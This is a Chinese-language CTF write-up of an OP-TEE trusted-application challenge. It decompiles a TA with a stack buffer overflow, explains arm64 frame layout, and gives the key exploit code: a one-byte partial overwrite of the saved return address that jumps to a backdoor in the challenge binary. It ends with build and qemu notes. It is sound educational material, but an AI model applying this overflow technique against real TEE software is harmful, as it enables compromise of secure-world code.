Table of Contents
前情提要
OPTEE 是什么
这题与 OPTEE 有关。可以理解成,这个机器上同时运行有两个 OS:一个是正常的 OS 来处理不需要保密的内容,一个是安全的 OS (OPTEE),涉及保密的内容在这个安全 OS 里面操作。通过 trusted firmware 来启动这两个 OS,相当于这两个 OS 的 bootloader。这两个系统之间的交互通过一些可信应用 trusted application 完成。
TA_CreateEntryPoint() 分配资源TA_DestroyEntryPoint() 释放资源TA_OpenSessionEntryPoint() 开启链接、验证TA_CloseSessionEntryPoint() 释放连接TA_InvokeCommandEntryPoint()执行命令目录结构和文件
附件的目录结构如下:
λ giacomo attachment 20:13 → tree ..├── Image ->普通内核├── flash.bin ->armv8 atf 的 bl1 和 bl2├── qemu-system-aarch642 ->普通qemu├── rootfs.cpio.gz ->普通fs└── start.sh ->启用/禁用模拟实现 Arm 安全扩展 (TrustZone)
1 directory, 5 files比较特别的是这个 flash.bin,ATF 以 flash based firmware 的方式启动。
gzip -d -c rootfs.cpio > rootfscpio -idmv -D ./fs < rootfs解压一下在 /lib/optee_armtz/ 目录下有一个 8aaaf200-2450-11e4-abe2-0002a5d5c51b.ta 的可信应用。( tee-supplicant 这个守护进程会在 /lib/optee_armtz/ 目录下获取 ta 程序并且加载进 TEE,是 REE 和 TEE 的沟通桥梁)。root 下面也有这个 ta …可能是怕藏得太隐蔽没人会注意到吧…
ta 分析
可以和 optee_example bin diff 来恢复部分符号。恢复之后有个函数看起来像 TA_InvokeCommandEntryPoint:
__int64 __fastcall sub_1E8(__int64 a1, int cmd_id, int paran_type, TEE_Param *param){ unsigned int v4; // w19 TEE_Param *v6; // x23 char buffer1[40]; // [xsp+40h] [xbp+40h] BYREF char buffer2[56]; // [xsp+68h] [xbp+68h] BYREF
if ( cmd_id ) return 4294901766LL; if ( paran_type == 101 ) { v4 = 0; v6 = param + 1; memmov(buffer1, param->memref.buffer, param->memref.size); // overflow trace_printf("move", 0x30u, 3u, 1u, "Recv_buffers1: %s\n", buffer1); memmov(buffer2, (_BYTE *)param[1].memref.buffer, v6->memref.size); trace_printf("move", 0x37u, 3u, 1u, "Recv_buffers2: %s\n", buffer2); } else { return (unsigned int)-65530; } return v4;}有一个在 OPTEE 中的 buffer overflow
BUFFER OVERFLOW
arm overflow
arm64 函数调用流程大概是,x0-x4 存放前四个参数,x29 是 old frame register, x30 是 return address。一个例子:
triple(int): stp x29, x30, [sp, -32]! mov x29, sp str w0, [sp, 28] ldr w0, [sp, 28] bl square(int) mov w1, w0 ldr w0, [sp, 28] mul w0, w1, w0 ldp x29, x30, [sp], 32 ret-
stp x29, x30, [sp, -32]!store a pair of register,把它两存放到 sp - 32 的地方,并且移动 sp = sp -32。Pre-indexed。 -
mov x29, sp更新 x29 寄存器 -
str w0, [sp, 28]第一个参数存在x0第 32 位是w0 -
bl square(int)跳转时把下一条指令地址存放进x30 -
ldp x29, x30, [sp], 32恢复x29和x30寄存器。Post-indexed。 -
ret相当于mov pc, x30
由于 x29 和 x30 存放在低地址,如果溢出的话,需要控制的是上一个函数的 x30 。
debug
参考 Wings 的博客
Normal world 和 Secure World 都有日志, qemu 启动脚本里加上这
-serial tcp:localhost:54320 -serial tcp:localhost:54321, 然后启动前用build/soc_term.py监听这两个端口即可. Secure World 有个程序叫ldelf, 他负责把 TA 装载进内存. 装载的时候有部分地址随机, 在 CA 调用TEEC_OpenSession()后,TEEC_InvokeCommand()前用getchar()停下, 日志里会有输出装载地址, 就知道在哪下断点了.
exp
覆盖上一个返回地址为 sub_2B4 的后门儿,0xd4 -> 0xb4 只用修改一个字节
.text:00000000000002B4 sub_2B4.text:00000000000002B4 ; __unwind {.text:00000000000002B4 E8 06 80 D2 MOV X8, #55.text:00000000000002B8 01 00 00 D4 SVC 0.text:00000000000002BC 08 00 80 D2 MOV X8, #0.text:00000000000002C0 01 00 00 D4 SVC 0.text:00000000000002C4 C0 03 5F D6 RET.text:00000000000002C4 ; } // starts at 2B4exp 关键部分是这样:
char *exp = malloc(0x100); memset(exp, 'c', 64); *(exp + 64) = 0xB4; op.params[0].tmpref.buffer = exp; op.params[0].tmpref.size = 0x10;
op.params[1].tmpref.buffer = exp; op.params[1].tmpref.size = 64+1;然后就通过后门拿到 flag
l3hctf{test_flag}ps 编译不明白
用题目的"usr/lib64" 目录下的 libs,试图动态链接 libteec 和静态链接 libc 。但是 segmentatin fault。
aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -Wl,-Bstatic -lc -Wl,-Bdynamic -lteec
# in qemuSegmentation fault如果两个全都动态链接,其实连接的是本地的,但是 -L 选项指定的不是优先的路径么…
aarch64-linux-gnu-gcc -o exp exp.c -L"../usr/lib64" -lteec
# in qemu./exp: /lib64/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)只好把所有依赖都放进目录里了…
echo "cd root"cd fs/rootaarch64-linux-gnu-gcc -L"../lib" -L"../usr/lib" -o exp exp.c -lteecpatchelf --set-interpreter ./ld-linux-aarch64.so.1 ./exppatchelf --set-rpath . ./expecho "cd fs"cd ..find . | cpio -o --format=newc > ../rootfsecho "cd attachment"cd ..gzip rootfsecho "run qemu"./qemu-system-aarch642 \ -nographic \ -smp 2 \ -machine virt,secure=on,mte=off,gic-version=3,virtualization=false \ -cpu max,sve=off,pauth-impdef=on \ -d unimp \ -m 1057 \ -monitor /dev/null \ -bios flash.bin \ -initrd rootfs.gz \ -kernel Image -no-acpi \ -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2 ' \ -object rng-random,filename=/dev/urandom,id=rng0 -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 -netdev user,id=vmnic -device virtio-net-device,netdev=vmnic -serial tcp:localhost:54320 -serial tcp:localhost:54321 -S -s